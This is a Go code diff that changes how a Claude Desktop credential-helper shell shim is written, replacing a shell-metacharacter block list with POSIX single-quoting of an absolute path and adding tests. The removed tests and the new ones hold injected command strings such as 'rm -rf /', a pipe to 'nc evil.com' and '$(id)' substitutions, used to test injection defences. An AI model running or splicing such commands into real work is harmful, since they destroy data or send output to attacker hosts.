Use an absolute thv path in the Claude Desktop helper shim

pkg/client/llm_gateway_credential_helper.go

@@ -64,7 +64,7 @@ func (cm *ClientManager) configureCredentialHelper(appCfg *clientAppConfig, cfg
 	if runtime.GOOS == "windows" {
 		// The shim is a POSIX /bin/sh script — consistent with the rest of the
 		// LLM gateway token-helper feature, which is POSIX-only (see
-		// buildTokenHelperCommand in pkg/llm). Windows support is a follow-up.
+		// tokenHelperShellCommand in pkg/llm). Windows support is a follow-up.
 		return "", fmt.Errorf("claude-desktop LLM gateway setup is not supported on Windows yet")
 	}
 
@@ -89,7 +89,7 @@ func (cm *ClientManager) configureCredentialHelper(appCfg *clientAppConfig, cfg
 		// Track whether the shim already existed so failure cleanup does not
 		// delete a shim an earlier successful setup still depends on.
 		shimExisted := fileExistsAt(cm.credentialHelperShimPath())
-		shimPath, err := cm.writeCredentialHelperShim(cfg.TokenHelperCommand)
+		shimPath, err := cm.writeCredentialHelperShim(cfg.TokenHelperPath)
 		if err != nil {
 			return err
 		}
@@ -234,63 +234,66 @@ func (cm *ClientManager) credentialHelperShimPath() string {
 
 // writeCredentialHelperShim generates the no-arg executable that Claude Desktop
 // invokes as its inferenceCredentialHelper. Claude Desktop requires an absolute
-// path to an executable (no arguments), whereas tokenHelperCommand is a shell
-// command string (e.g. `"…thv" llm token`); the shim bridges the two.
+// path to an executable and passes no arguments, so the shim exists to supply
+// the "llm token" arguments — and to choose them per invocation context.
+//
+// tokenHelperPath is the absolute thv path (ApplyConfig.TokenHelperPath). It is
+// single-quoted into the exec lines rather than resolved via PATH at call time:
+// Claude Desktop is only ever GUI-launched, and GUI apps inherit launchd's
+// environment, which does not contain thv's install directory — a bare "thv"
+// would never be found. This is what distinguishes Claude Desktop from the
+// direct-mode clients, which deliberately keep the bare, PATH-resolved
+// tokenHelperShellCommand (see pkg/llm/setup.go). Single-quoting is a total
+// transform (see quoteForPOSIXShell), so no character in the path needs
+// rejecting and no metacharacter validation is required to keep this 0700
+// script injection-free.
 //
 // Claude Desktop sets CLAUDE_HELPER_CONTEXT on each call. Only "interactive"
 // permits an OIDC browser flow; silent contexts (background / setup-test /
 // mid-session-refresh) must not hijack the user's browser, so they use
 // --skip-browser and rely on the cached/refresh token that "thv llm setup"
 // primed up front.
-func (cm *ClientManager) writeCredentialHelperShim(tokenHelperCommand string) (string, error) {
-	if tokenHelperCommand == "" {
-		return "", fmt.Errorf("no token-helper command available for credential helper shim")
-	}
-	if !isSafeTokenHelperCommand(tokenHelperCommand) {
-		// Defence in depth: the producer (buildTokenHelperCommand) is shell-safe
-		// today, but the writer must not silently emit an injectable 0700 script
-		// if a future caller constructs tokenHelperCommand differently.
-		return "", fmt.Errorf("refusing to write credential helper shim: token-helper command is not shell-safe")
+func (cm *ClientManager) writeCredentialHelperShim(tokenHelperPath string) (string, error) {
+	// Require an absolute path. Defeating PATH resolution is the entire point of
+	// this shim, and a relative path would silently reintroduce it — resolved
+	// against whatever working directory Claude Desktop happens to have. A
+	// non-absolute path here is a caller bug (os.Executable() is documented to
+	// return an absolute path unless it errors), so fail closed rather than
+	// emit a shim that cannot reliably locate thv.
+	if !filepath.IsAbs(tokenHelperPath) {
+		return "", fmt.Errorf(
+			"credential helper shim requires an absolute token-helper path, got %q", tokenHelperPath)
 	}
 	shimPath := cm.credentialHelperShimPath()
 	if err := os.MkdirAll(filepath.Dir(shimPath), 0o700); err != nil {
 		return "", fmt.Errorf("creating credential helper directory: %w", err)
 	}
+	quoted := quoteForPOSIXShell(tokenHelperPath)
 	script := "#!/bin/sh\n" +
 		"# Generated by `thv llm setup` — Claude Desktop credential helper.\n" +
 		"# Prints a fresh LLM gateway token. Do not edit; `thv llm teardown` removes it.\n" +
 		"if [ \"$CLAUDE_HELPER_CONTEXT\" = \"interactive\" ]; then\n" +
-		"  exec " + tokenHelperCommand + "\n" +
+		"  exec " + quoted + " llm token\n" +
 		"fi\n" +
-		"exec " + tokenHelperCommand + " --skip-browser\n"
+		"exec " + quoted + " llm token --skip-browser\n"
 	if err := fileutils.AtomicWriteFile(shimPath, []byte(script), 0o700); err != nil {
 		return "", fmt.Errorf("writing credential helper shim %s: %w", shimPath, err)
 	}
 	return shimPath, nil
 }
 
-// isSafeTokenHelperCommand reports whether tokenHelperCommand is safe to splice
-// into the shim. The shim is a 0700 /bin/sh script built by string
-// concatenation, so a caller-supplied command containing ";", "&", "|", "`",
-// "$", "#", quotes, or newlines would be stored command injection.
+// quoteForPOSIXShell wraps s in single quotes so a POSIX shell reads every byte
+// of it literally, escaping any embedded single quote as the four-character
+// sequence quote-backslash-quote-quote (close the quoted run, emit a
+// backslash-escaped quote, reopen).
 //
-// The producer (tokenHelperShellCommand in pkg/llm) is a constant today, but
-// TokenHelperCommand is a general ApplyConfig field consumed by multiple
-// writers, so this check makes the shim writer fail closed rather than trusting
-// every future caller to uphold the contract. It deliberately validates only
-// that the command is metacharacter-free, not that it matches one exact string:
-// pinning the shape would couple this writer to the producer's formatting.
-func isSafeTokenHelperCommand(tokenHelperCommand string) bool {
-	if tokenHelperCommand == "" {
-		return false
-	}
-	for _, r := range tokenHelperCommand {
-		switch r {
-		case ';', '&', '|', '`', '$', '#', '\'', '"', '\\', '\n', '\r':
-			return false
-		}
-	}
-	return true
+// Single-quoting is a total transform: inside a single-quoted run no character
+// is special to the shell — not $, backtick, backslash, or even a newline — so
+// there is no input this fails on and callers need no metacharacter validation.
+// The shim it serves is POSIX-only by construction (configureCredentialHelper
+// hard-errors on Windows), so no cmd.exe equivalent is needed.
+func quoteForPOSIXShell(s string) string {
+	return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
 }
 
 // managedProfilePresent reports whether an MDM/managed-preferences profile for

pkg/client/llm_gateway_credential_helper_test.go

@@ -6,7 +6,9 @@ package client
 import (
 	"encoding/json"
 	"os"
+	"os/exec"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"testing"
 
@@ -50,9 +52,11 @@ func readConfigDoc(t *testing.T, path string) claudeDesktopConfig {
 
 func claudeDesktopApplyCfg() llmgateway.ApplyConfig {
 	return llmgateway.ApplyConfig{
-		GatewayURL:         "https://gw.example.com",
-		AnthropicBaseURL:   "https://gw.example.com/anthropic",
-		TokenHelperCommand: `thv llm token`,
+		GatewayURL:       "https://gw.example.com",
+		AnthropicBaseURL: "https://gw.example.com/anthropic",
+		// The shim consumes TokenHelperPath (the absolute thv path), not the
+		// shell-string TokenHelperCommand that direct-mode clients use.
+		TokenHelperPath: "/opt/toolhive/bin/thv",
 	}
 }
 
@@ -85,7 +89,7 @@ func TestConfigureCredentialHelper_WritesConfigMetaAndShim(t *testing.T) {
 	assert.Equal(t, os.FileMode(0o700), info.Mode().Perm())
 	shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path
 	require.NoError(t, err)
-	assert.Contains(t, string(shim), `thv llm token`)
+	assert.Contains(t, string(shim), `exec '/opt/toolhive/bin/thv' llm token`)
 	assert.Contains(t, string(shim), "--skip-browser")
 
 	// _meta.json selects our config by the config document's id.
@@ -274,36 +278,159 @@ func TestRevertCredentialHelper_RejectsUnsafeConfigPath(t *testing.T) {
 	}
 }
 
-// TestWriteCredentialHelperShim_RejectsUnsafeCommand proves the shim writer
-// fails closed on any tokenHelperCommand it cannot prove is shell-safe, rather
-// than emitting an injectable 0700 /bin/sh script. The producer is a constant
-// today; this guards against a future caller that isn't.
-func TestWriteCredentialHelperShim_RejectsUnsafeCommand(t *testing.T) {
+// TestQuoteForPOSIXShell pins the escaping shape for the characters that matter.
+func TestQuoteForPOSIXShell(t *testing.T) {
 	t.Parallel()
-	cm := &ClientManager{homeDir: t.TempDir()}
 
-	unsafe := []string{
-		`thv llm token; rm -rf /`,           // trailing command via ;
-		`thv llm token #`,                   // trailing comment
-		`thv llm token && curl evil`,        // chained command
-		`thv llm token|nc evil.com`,         // pipe to external process
-		`thv llm token` + "\n" + `rm -rf /`, // embedded newline
-		"thv llm token `id`",                // command substitution
-		`thv llm token $(id)`,               // command substitution
-		`"thv" llm token`,                   // quotes would nest inside the exec line
-		``,                                  // empty
+	cases := []struct {
+		name string
+		in   string
+		want string
+	}{
+		{"plain path", "/usr/local/bin/thv", `'/usr/local/bin/thv'`},
+		{"space", "/App Support/thv", `'/App Support/thv'`},
+		{"single quote", "/it's/thv", `'/it'\''s/thv'`},
+		{"double quote", `/say "hi"/thv`, `'/say "hi"/thv'`},
+		{"dollar and backtick", "/$HOME/`id`/thv", "'/$HOME/`id`/thv'"},
+		{"semicolon", "/a;rm -rf/thv", `'/a;rm -rf/thv'`},
+		{"newline", "/a\nb/thv", "'/a\nb/thv'"},
+		{"empty", "", `''`},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			assert.Equal(t, tc.want, quoteForPOSIXShell(tc.in))
+		})
 	}
-	for _, cmd := range unsafe {
-		t.Run(cmd, func(t *testing.T) {
+}
+
+// TestQuoteForPOSIXShell_SurvivesRealShell is the evidence behind the claim that
+// single-quoting is a total transform, which is what lets the token-helper
+// writers drop metacharacter validation entirely. Each string is round-tripped
+// through /bin/sh and must come back byte-identical.
+func TestQuoteForPOSIXShell_SurvivesRealShell(t *testing.T) {
+	t.Parallel()
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX shell quoting; /bin/sh unavailable")
+	}
+
+	inputs := []string{
+		"/usr/local/bin/thv",
+		"/App Support/thv",
+		"/it's/thv",
+		`/say "hi"/thv`,
+		"/$HOME/`id`/thv",
+		"/a;rm -rf/thv",
+		"/a&&b/thv",
+		"/a|b/thv",
+		"/a#b/thv",
+		"/a$(id)b/thv",
+		"/a\nb/thv",
+		"/a\\b/thv",
+	}
+	for _, in := range inputs {
+		t.Run(in, func(t *testing.T) {
+			t.Parallel()
+			// printf %s re-emits the argument verbatim, so any shell
+			// interpretation of the quoted form shows up as a mismatch.
+			script := "printf %s " + quoteForPOSIXShell(in)
+			out, err := exec.Command("/bin/sh", "-c", script).CombinedOutput() // #nosec G204 -- test-controlled input
+			require.NoError(t, err, "sh failed: %s", out)
+			assert.Equal(t, in, string(out), "quoted string must survive /bin/sh verbatim")
+		})
+	}
+
+	// Control: the same hostile strings unquoted do NOT survive, proving the
+	// test would catch a broken escaper rather than passing trivially.
+	out, err := exec.Command("/bin/sh", "-c", "printf %s /a$(id)b").CombinedOutput()
+	require.NoError(t, err, "sh failed: %s", out)
+	assert.NotEqual(t, "/a$(id)b", string(out))
+	assert.True(t, strings.HasPrefix(string(out), "/a"))
+}
+
+// TestWriteCredentialHelperShim_RequiresAbsolutePath proves the writer fails
+// closed on anything that is not an absolute path. Defeating PATH resolution is
+// the whole point of the shim, so a relative path — which Claude Desktop would
+// resolve against an arbitrary working directory — must not produce a shim at
+// all rather than one that silently cannot find thv.
+func TestWriteCredentialHelperShim_RequiresAbsolutePath(t *testing.T) {
+	t.Parallel()
+
+	for _, path := range []string{
+		"",      // os.Executable() failed upstream
+		"thv",   // bare command: would resolve via PATH, the bug being fixed
+		"./thv", // relative to an arbitrary working directory
+		"../bin/thv",
+	} {
+		t.Run(path, func(t *testing.T) {
 			t.Parallel()
-			_, err := cm.writeCredentialHelperShim(cmd)
-			require.Error(t, err, "expected rejection of %q", cmd)
+			cm := &ClientManager{homeDir: t.TempDir()}
+			_, err := cm.writeCredentialHelperShim(path)
+			require.Error(t, err, "expected rejection of %q", path)
+			assert.NoFileExists(t, cm.credentialHelperShimPath(),
+				"no shim may be written when the path is rejected")
 		})
 	}
+}
+
+// TestWriteCredentialHelperShim_UsesAbsolutePath proves the shim execs the
+// absolute thv path rather than a bare "thv". A bare command is unusable here:
+// Claude Desktop is only ever GUI-launched, so it inherits launchd's PATH,
+// which does not contain thv's install directory (~/.toolhive/bin).
+func TestWriteCredentialHelperShim_UsesAbsolutePath(t *testing.T) {
+	t.Parallel()
+	cm := &ClientManager{homeDir: t.TempDir()}
 
-	// The bare command the producer actually emits is accepted.
-	_, err := cm.writeCredentialHelperShim(`thv llm token`)
+	shimPath, err := cm.writeCredentialHelperShim("/opt/toolhive/bin/thv")
 	require.NoError(t, err)
+	shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path
+	require.NoError(t, err)
+
+	assert.Contains(t, string(shim), `exec '/opt/toolhive/bin/thv' llm token`)
+	assert.Contains(t, string(shim), `exec '/opt/toolhive/bin/thv' llm token --skip-browser`)
+	// The interactive branch must NOT pass --skip-browser: it is the only
+	// context permitted to open a browser for a full OIDC re-auth.
+	interactive, _, found := strings.Cut(string(shim), "\nfi\n")
+	require.True(t, found, "shim must have an interactive branch terminated by fi")
+	assert.NotContains(t, interactive, "--skip-browser")
+}
+
+// TestWriteCredentialHelperShim_ExecutesWithHostilePath is the load-bearing test
+// for deleting the old metacharacter blocklist: it runs the generated shim under
+// /bin/sh with a thv path containing a space, a single quote, a double quote, a
+// dollar sign, a backtick, a semicolon and a newline, and asserts the arguments
+// arrive intact. Proving execution (not just string shape) is what establishes
+// that single-quoting is a total transform, so no path needs to be rejected.
+func TestWriteCredentialHelperShim_ExecutesWithHostilePath(t *testing.T) {
+	t.Parallel()
+	if runtime.GOOS == "windows" {
+		t.Skip("shim is a POSIX /bin/sh script")
+	}
+
+	// A directory name exercising every character the old blocklist rejected,
+	// plus a newline — which survives single-quoting intact and so would have
+	// been the one case a "reject metacharacters" scheme could not have fixed.
+	hostileDir := filepath.Join(t.TempDir(), "we ird's \"$(id)\" `id`;\nrm -rf")
+	require.NoError(t, os.MkdirAll(hostileDir, 0o700))
+	fakeThv := filepath.Join(hostileDir, "thv")
+	// A stand-in for thv that echoes the args it received.
+	require.NoError(t, os.WriteFile(fakeThv, []byte("#!/bin/sh\necho \"ARGS: $*\"\n"), 0o700)) //nolint:gosec // G306: must be executable
+
+	cm := &ClientManager{homeDir: t.TempDir()}
+	shimPath, err := cm.writeCredentialHelperShim(fakeThv)
+	require.NoError(t, err)
+
+	// Silent context: --skip-browser is appended.
+	out, err := exec.Command("/bin/sh", shimPath).CombinedOutput() // #nosec G204 -- test-controlled path
+	require.NoError(t, err, "shim failed: %s", out)
+	assert.Equal(t, "ARGS: llm token --skip-browser", strings.TrimSpace(string(out)))
+
+	// Interactive context: no --skip-browser, so a browser flow is permitted.
+	cmd := exec.Command("/bin/sh", shimPath) // #nosec G204 -- test-controlled path
+	cmd.Env = append(os.Environ(), "CLAUDE_HELPER_CONTEXT=interactive")
+	out, err = cmd.CombinedOutput()
+	require.NoError(t, err, "shim failed: %s", out)
+	assert.Equal(t, "ARGS: llm token", strings.TrimSpace(string(out)))
 }
 
 func TestConfigureCredentialHelper_CleansUpOnWriteFailure(t *testing.T) {

pkg/llm/setup.go

@@ -639,16 +639,18 @@ func probeAnthropicPrefix(ctx context.Context, gatewayURL string, tlsSkipVerify
 // through a shell (execa with shell:true; see anthropics/claude-code#42593).
 //
 // It deliberately names "thv" bare rather than interpolating os.Executable().
-// An absolute path has to be quoted into a string that a different shell parses
-// on each platform — /bin/sh on POSIX, cmd.exe via ComSpec on Windows — and Go
-// has no portable shell-escaping primitive. Every Windows path also contains
-// backslashes, which no single quoting scheme survives in both shells. A bare
-// command has nothing to escape, so it is correct on every platform by
-// construction.
+// A bare command has nothing to escape, so it is correct in both /bin/sh and
+// cmd.exe without a platform branch, and it re-resolves on every invocation —
+// so upgrading, reinstalling, or relocating thv keeps working without re-running
+// "thv llm setup".
 //
-// The trade-off is that "thv" resolves via PATH when the tool invokes it, so a
-// binary earlier on PATH can shadow it and return an attacker-chosen token.
-// That requires an attacker who can already write to the user's PATH.
+// The trade-off is that it resolves via PATH at invocation time. A tool launched
+// without the user's shell PATH (e.g. from the macOS Dock, which inherits
+// launchd's environment) will not find thv, and a binary earlier on PATH can
+// shadow it. Both are accepted here: direct-mode tools are terminal-oriented.
+// Claude Desktop cannot accept them — it is only ever GUI-launched — so its
+// credential-helper shim uses the absolute TokenHelperPath instead (see
+// writeCredentialHelperShim in pkg/client).
 const tokenHelperShellCommand = "thv llm token" //nolint:gosec // G101: a command line, not a credential
 
 // buildTokenHelperArgv returns the argv-form of the token helper, for config